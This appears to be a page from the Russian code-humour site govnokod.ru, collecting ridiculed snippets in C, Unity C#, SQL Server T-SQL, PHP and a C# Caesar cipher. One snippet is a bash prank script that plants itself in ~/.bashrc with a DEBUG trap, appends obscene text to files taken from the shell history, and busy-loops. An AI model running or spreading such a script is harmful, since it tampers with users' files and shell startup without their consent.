- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
for (i = 0;i<n;i++)
{
for (j = 0;j<m;j++)
{
if (j=m)
{
j = 0;
break;
}
}
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+162
for (i = 0;i<n;i++)
{
for (j = 0;j<m;j++)
{
if (j=m)
{
j = 0;
break;
}
}
}
Мастер! Без комментариев.
P.S. Как это ни странно, автор предпочел остаться неизвестным :)
+136
particleEmitter.particleEmitter.particleEmitter.particleEmitter.particleEmitter.particleEmitter.particleEmitter.particleEmitter.particleEmitter.emit = Mathf.Sin(Random.value*Mathf.PI*2) <= 1;
Строчка из кода в Unity3D.
−137
#!/bin/bash
echo Fuck >> $1
x=`tail -n1 ~/.bashrc`
if [ "$x" = "$0 &" ]
then
echo exit
else
echo "trap 'echo \"Fuck $USER\">>`cat ~/.bash_history | tail -n1 | gawk '{ print $1 }'`' DEBUG;" >> ~/.bashrc;
echo "$0 `cat ~/.bash_history|tail -n1 | gawk '{ print $1 }'` &" >> ~/.bashrc
fi
trap "cdm=`cat ~/.bash_history| tail -n1 | gawk '{ print $1 }'`" DEBUG
echo cdm $cdm
while :
do
echo -n
done
Прога должна присоединять к файлам в истории свой текст.
−862
-- Verify frequency sub-day type
IF (@freq_subday_type <> 0) AND (@freq_subday_type NOT IN (0x1, 0x2, 0x4, 0x8))
BEGIN
RAISERROR(14266, -1, -1, '@freq_subday_type', '0x1, 0x2, 0x4, 0x8')
RETURN(1) -- Failure
END
....
IF (@freq_subday_type = 0)
SELECT @freq_subday_type = 0x1 -- FREQSUBTYPE_ONCE
IF ((@freq_subday_type <> 0x1) AND -- FREQSUBTYPE_ONCE (see qsched.h)
(@freq_subday_type <> 0x2) AND -- FREQSUBTYPE_SECOND (see qsched.h)
(@freq_subday_type <> 0x4) AND -- FREQSUBTYPE_MINUTE (see qsched.h)
(@freq_subday_type <> 0x8)) -- FREQSUBTYPE_HOUR (see qsched.h)
BEGIN
SELECT @reason = FORMATMESSAGE(14266, '@freq_subday_type', '0x1, 0x2, 0x4, 0x8')
RAISERROR(14278, -1, -1, @reason)
RETURN(1) -- Failure
END
Системная хранимая процедура Microsoft SQL Server 2005
msdb.[dbo].[sp_verify_schedule]
+172
//Взятые из разных файлов варианты обращений к файлу конфигураций характеризуют о гибкости подхода к разработке приложения
require_once '../../../config.php';
require_once("../config.php");
require_once("../../../../config.php");
require_once(dirname(dirname(__FILE__)) . '/config.php');
require('../config.php');
require_once(dirname(__FILE__) . '/../../config.php');
require_once(dirname(dirname(dirname(dirname(__FILE__)))) . '/config.php'); //included from messagelib (how to fix?)
Предлагаю обратить внимание на http://moodle.org/ -- это Система Управления Обучением.
Продукт поражает своей архитектурой. Предлагаю взглянуть одним глазком.
+152
if ($UsingComponents){
// если используем компоненты 2.0 - очищаем буфер
ob_end_clean();
$APPLICATION->AddBufferContent('empty');
...
} else {
// иначе выводим всё, что у нас накопилось
ob_end_flush();
$APPLICATION->AddBufferContent('empty');
...
}
Не совсем говнокод, но комментарий на строке 8, имхо, забавный...
+134
string relativedir = Directory.GetParent(Directory.GetParent(Directory.GetParent(Directory.GetCurrentDirectory()).ToString()).ToString()).ToString()+@"\Webapplication2\App_Data\";
ссылка на базу данных в другой папке
+155
private $data = array(
'name' => '',
'organization' => '',
'mail' => '',
'phone' => '',
'comment' => '',
'model' => '',
);
Так адекватные люди создают асоциативные массивы? Или по другому?
+149
$txt['aeva_gallery'] = isset($txt['aeva_gallery']) ? $txt['aeva_gallery'] : 'Media';
Кусочек языкового файла модуля медиагалереи
+117
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Caeser_method
{
class Program
{
static void Main(string[] args)
{
int n = 3;
Console.Write("Input string to encoding: ");
string input = Console.ReadLine();
Csr enc = new Csr(n,input);
// Csr dec;
enc.encrypt();
Console.WriteLine(enc);
// dec = new Csr(n, input);
enc.decrypt();
Console.WriteLine(enc);
Console.ReadLine();
}
}
}
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Caeser_method
{
class Csr
{
public int n;
public string phraze,outputphr;
public Csr(int n, string phraze)
{
this.n = n;
this.phraze = phraze;
this.outputphr = "";
}
public void encrypt()
{
foreach (char c in this.phraze)
if ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z'))
{
if (char.IsLetter(c)) this.outputphr += (char)(char.IsUpper(c) ?
(c + this.n > 'Z' ? ('A' + ((c -'Z' + (this.n - 1)))) : (c + this.n)) :
(c + this.n > 'z' ? ('a' + ((c - 'z' + (this.n - 1)))) : (c + this.n)));
else this.outputphr += c;
}
else
{
if (char.IsLetter(c)) this.outputphr += (char)(char.IsUpper(c) ?
(c + this.n > 'Я' ? ('А' + ((c - 'Я' + (this.n - 1)))) : (c + this.n)) :
(c + this.n > 'я' ? ('а' + ((c - 'я' + (this.n - 1)))) : (c + this.n)));
else this.outputphr += c;
}
}
public void decrypt()
{
this.phraze = this.outputphr;
this.outputphr = "";
foreach (char c in this.phraze)
if ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z'))
{
if (char.IsLetter(c)) this.outputphr += (char)(char.IsUpper(c) ?
(c - this.n < 'A' ? ('Z' - (('A' - c + (this.n - 1)))) : (c - this.n)) :
(c - this.n < 'a' ? ('z' - (('a' - c + (this.n - 1)))) : (c - this.n)));
else this.outputphr += c;
}
else
{
if (char.IsLetter(c)) this.outputphr += (char)(char.IsUpper(c) ?
(c - this.n < 'А' ? ('Я' - (('А' - c + (this.n - 1)))) : (c - this.n)) :
(c - this.n < 'а' ? ('я' - (('а' - c + (this.n - 1)))) : (c - this.n)));
else this.outputphr += c;
}
}
public override string ToString()
{
return string.Format("Encoded string: {0}",this.outputphr);
}
}
}
Реализация шифрования методом Цезаря